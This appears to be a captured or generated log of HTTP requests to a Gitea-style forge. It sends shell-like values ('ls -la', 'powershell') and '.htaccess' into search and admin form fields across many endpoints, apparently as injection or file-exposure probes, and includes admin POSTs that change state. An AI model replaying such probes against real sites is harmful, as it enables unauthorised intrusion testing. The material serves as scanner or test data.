{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 100", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=powershell&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
{"method": "GET", "target": "/explore/topics/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=ls%20-la&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications/watching?q=ls%20-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/teams/-/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/code?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/projects?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=ls%20-la&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=ls%20-la&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/tags?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/projects?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/packages?q=ls%20-la&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/posters?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/posters?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=ls%20-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages?q=ls%20-la&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 53", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=ls%20-la&page=1"}
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 98", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=ls%20-la&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
{"method": "GET", "target": "/explore/topics/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/issues/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=.htaccess&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications/watching?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
